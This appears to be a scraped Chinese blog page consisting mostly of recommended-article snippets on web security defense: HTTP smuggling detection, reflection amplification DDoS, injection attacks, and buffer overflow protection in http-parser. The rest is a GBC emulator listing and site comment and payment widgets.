HTTP走私检测是网络安全领域的关键技术,scan4all作为专业的开源安全扫描工具,提供了全面的HTTP请求走私漏洞检测能力。本文将详细介绍如何使用scan4all进行CL.TE与TE.CL攻击防护实战,帮助安全从业者有效识别和防御这类高级Web攻击。 ## 🔍 什么是HTTP请求走私攻击? HTTP请求走私是一种利用HTTP协议解析差异的攻击技术,攻击者通过构造特殊的HTTP请求,在反向

gitblog_00208的博客 494

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

【网络安全知多少】看不见的“海啸”:一文读懂反射放大攻击及其防护

反射放大攻击是一种利用第三方服务器作为中转,向目标发起大规模DDoS(分布式拒绝服务)攻击的方式。攻击者通过向伪装的源IP地址(目标IP)发起请求,诱使反射服务器返回大量响应,从而达到“放大”攻击容量的效果。1.反射器: 开放且未做安全限制的公共服务器。2.IP欺骗: 伪造源IP地址,让服务器误以为请求来自受害者。3.放大效应: 回复数据包远大于请求数据包,产生流量杠杆。

XINERTEL的博客 755

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

网络安全之注入攻击:原理、危害与防御之道

**摘要:**注入攻击是网络安全领域的头号威胁,其本质是攻击者通过构造恶意负载突破数据与代码边界。主要类型包括SQL注入、OS命令注入、NoSQL注入和模板注入,攻击过程涉及输入点探测、上下文分析、载荷构造和结果提取。经典案例如索尼数据泄露事件凸显其危害。防御体系需构建输入处理规范、安全编码实践(如参数化查询)、运行时防护(WAF/RASP)和安全测试体系(DAST/IAST)。随着云原生和AI技术的普及,新型注入风险不断涌现,开发者需秉持"永不信任"原则实施纵深防御。

weixin_47233946的博客 1265

http-parser安全特性解析:如何防御缓冲区溢出攻击

HTTP协议解析器是Web应用安全的第一道防线,而http-parser作为一款高性能的C语言HTTP消息解析器,其安全特性设计尤其值得关注。在前100字内,我们重点介绍http-parser如何通过多种机制防御缓冲区溢出攻击,确保网络通信的安全稳定。🚀 ## 什么是缓冲区溢出攻击? 缓冲区溢出是网络安全中最常见也最危险的攻击方式之一。攻击者通过向程序缓冲区发送超出其容量的数据,覆盖相邻内存

gitblog_00410的博客 822
上一篇: 2024网络安全学习路线 非常详细 推荐学习
下一篇: 【工具】HxD Hex Editor 的安装、使用详细教程
大模型应用场景
博客等级 码龄5年 7675粉丝 1350原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值